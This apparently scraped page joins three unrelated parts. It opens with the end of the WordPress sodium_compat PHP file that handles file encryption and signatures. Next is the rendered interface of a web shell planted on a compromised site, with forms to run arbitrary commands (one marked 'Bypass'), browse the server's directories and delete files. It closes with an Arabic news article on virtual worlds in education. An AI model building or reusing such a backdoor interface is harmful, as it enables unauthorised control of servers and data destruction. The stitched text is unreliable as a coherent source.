            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state-&gt;update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state-&gt;finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|HashContext $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP &lt; 7.2, HashContext object on PHP &gt;= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID &lt; 70200) {
            if (!is_resource($hash)) {
                throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.');
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.');
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.');
        }
        if (!is_int($size)) {
            throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.');
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i &lt; $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) &gt; self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException('Unexpected error reading from file.');
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            self::hash_update($hash, $message);
        }
        // Reset file pointer's position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) &amp; 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) &amp; 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $nonceHash = hash_final($hs, true);
        $pk = self::substr($secretKey, 32, 32);
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $hramHash = hash_final($hs, true);

        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S &lt; L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }

        if ((self::chrToInt($sig[63]) &amp; 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i &lt; 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        /** @var resource $fp */

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat(&quot;\x00&quot;, 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 &gt; 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat(&quot;\x00&quot;, 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state-&gt;update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state-&gt;update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state-&gt;finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state-&gt;update($ciphertext);
            $mlen -= $blockSize;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state-&gt;finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException('ftell() returned false');
        }
        return (int) $return;
    }
}
</pre><!DOCTYPE html>
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      color: #8ab4f8;
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    }
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    }
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      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes">wp-includes</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat">sodium_compat</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc">src</a></div>
  <ul>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore"> Core</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore32"> Core32</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FPHP52"> PHP52</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCompat.php"> Compat.php</a>
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            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCrypto.php"> Crypto.php</a>
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            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCrypto32.php"> Crypto32.php</a>
                  </span>
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            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/sodium_compat/src/Crypto32.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FFile.php"> File.php</a>
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            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/sodium_compat/src/File.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FSodiumException.php"> SodiumException.php</a>
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	<nav id="breadcrumb"><a href="https://tahkoom.com/"><span class="tie-icon-home" aria-hidden="true"></span> الرئيسية</a><em class="delimiter">/</em><a href="https://tahkoom.com/category/%d9%85%d8%b9%d8%b1%d9%81%d8%a9/">معرفة</a><em class="delimiter">/</em><span class="current">بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟</span></nav><script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","@id":"#Breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"name":"\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629","@id":"https:\/\/tahkoom.com\/"}},{"@type":"ListItem","position":2,"item":{"name":"\u0645\u0639\u0631\u0641\u0629","@id":"https:\/\/tahkoom.com\/category\/%d9%85%d8%b9%d8%b1%d9%81%d8%a9\/"}}]}</script>
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			بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">مايو 18, 2025</span><div class="tie-alignright"><span class="meta-views meta-item hot"><span class="tie-icon-fire" aria-hidden="true"></span> 2٬948 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 2 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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			<p><span style="color: #000000;"><em><strong>كتبت شروق عارف</strong></em></span></p>
<p>في ظل التطور التكنولوجي الحادث والابتكارات الجديدة ظهر العالم الافتراضي الذي أحدث ثورة في كافة المجالات مما جعلنا نطرح سؤال مهم ماذا لو أصبح التعليم مرتبط بالعالم الافتراضي؟ وكيف سيؤثر هذا الربط على الطلاب وتحصيلهم الأكاديمي ؟<br />
<span style="color: #0000ff;"><em><strong>  ما هو العالم الافتراضي والميتافيرس؟                                                                                            </strong></em></span><br />
في البداية علينا تعريف العالم الافتراضي والميتافيرس العالم الافتراضي يعد تقنية تسمح للمستخدمين بالانخراط في بيئة ثلاثية الأبعاد و يتم إنشاؤها من خلال الحاسوب ويتيح العالم الافتراضي للمستخدمين الشعور بأنهم حاضرين في هذا العالم يحدث ذلك من خلال استخدام نظارات مخصصة كما عرف المركز الوطني للتعليم الإلكتروني العالم الافتراضي بأنه بيئة افتراضية بالكامل<br />
أما الميتافيرس فهو عبارة عن عالم رقمي ثلاثي الأبعاد يحاكي الواقع ويتيح التفاعل الاجتماعي والترفيهي بمعنى أوضح يعد بيئة مفتوحة تمثل العالم الحقيقي تتيح لأي شخص التحرك في أي مكان داخل العالم الافتراضي هذه التقنية المتقدمة تخلق بيئة افتراضية تتيح للمستخدمين التفاعل معها بشكل واقعي<br />
‏ التعليم في العالم الافتراضي<br />
‏ في حالة ربط التعليم بالعالم الافتراضي سوف يحدث ذلك طفرة في أساليب التدريس من خلال خلق موارد تعليمية جديدة مما سيساهم بشكل كبير في تحسين تجربة التعليم من خلال تعزيز المشاركة وزيادة الاحتفاظ بالمعلومات سيتم ذلك من خلال إدخال الطالب في بيئة ثلاثية الأبعاد مما سيتيح له تجربة تعليمية فريدة من نوعها<br />
<span style="color: #0000ff;"><em><strong>مزايا وتحديات ربط التعليم بالعالم الافتراضي                                                                                     </strong></em></span><br />
من أهم المزايا التي يقدمها العالم الافتراضي للطلاب هو إعدادهم للعمل في المستقبل وذلك من خلال تزويدهم بخبرات لا حصر لها كما أن ربط التعليم بالعالم الافتراضي سيساهم بشكل كبير في زيادة القدرة على الاحتفاظ بالمعلومات بالإضافة إلى ذلك يمكن للعالم الافتراضي توفير تجارب تعليمية فريدة من نوعها باستخدام تقنية الواقع الافتراضي التي تتيح نقل الطلاب إلى أماكن وبيئات مختلفة قد لا يتمكنون من الوصول إليها بطرق تقليدية<br />
‏ ومع ذلك، تواجه هذه الفوائد عدة تحديات أبرزها التكلفة العالية حيث تعتبر معدات وبرامج الواقع الافتراضي باهظة الثمن بالإضافة إلى ذلك هناك نقص في تدريب المعلمين على استخدام تقنيات الواقع الافتراضي مما قد يؤدي إلى انخفاض في نتائج التعلم فعلى سبيل المثال تجربة نظام التابلت في أول سنة حققت فشل ذريع وذلك بسبب عدم فهم المعلمين والطلاب لطبيعة النظام</p>
<p><span style="color: #0000ff;"><em><strong>آراء متباينة حول فاعلية العالم الافتراضي</strong></em></span><br />
أوضح محمد عصام مدرس الفلسفة وعلم النفس في المرحلة الثانوية أن فكرة ربط التعليم بالعالم الافتراضي تعتبر مميزة للغاية ولكن أكد على ضرورة تطبيقها بشكل صحيح ومدروس وأضاف أن الإمكانيات الحالية في مصر لا تسمح بتطبيق هذه التقنية كما أضاف الاعتماد المفرط على التكنولوجيا في التعليم سوف يكون له آثار سلبية على الطلاب بالإضافة إلى أن العالم الافتراضي لا يمكن أن يحل محل المعلم<br />
من جانبه قال محمود محسن مدرس اللغة العربية بالمرحلة الإعدادية إن إدخال العالم الافتراضي في التعليم قد يوثر بشكل إجابي في العملية التعليمية من حيث الشكل والمحتوى لكنه شدد على أهمية المعلم في التعليم موكدا أن التفاعل المباشر بين الطالب والمعلم يظل عنصرًا أساسيا لا يمكن الاستغناء عنه وأضاف محمود أن التعليم لا يقتصر فقط على المعلومات بل يشمل القيم والتربية والتوجيه وهي أمور يصعب نقلها بشكل فعال من خلال بيئة افتراضية بحتة<br />
وعلي جانب اخر أضاف أحمد فؤاد مدرس الدراسات في المرحلة الابتدائية أن استخدام العالم الافتراضي في التعليم سيسهم بشكل كبير في تحسين مستوى تحصيل الطلاب خاصة في المرحلة الابتدائية وأوضح أن دمج التكنولوجيا في العملية التعليمية سيجعل الدراسة أكثر متعة مما قد يزيد من دافعية الطلاب للتعلم وتحسين استيعابهم للمحتوى</p>
<p>‏ يمكن القول إن ربط التعليم بالعالم الافتراضي قد يسهم بشكل كبير في توسيع أفاقنا الفكرية وسوف يجعل التجربة التعليمية أكثر متعة ولكن مع ذلك يجب التعامل مع هذه التقنية بحذر حتى نتجنب الأثار السلبية وعلينا التأكد أن العالم الافتراضي لا يمكن أن يحلل محل المعلم</p>

			
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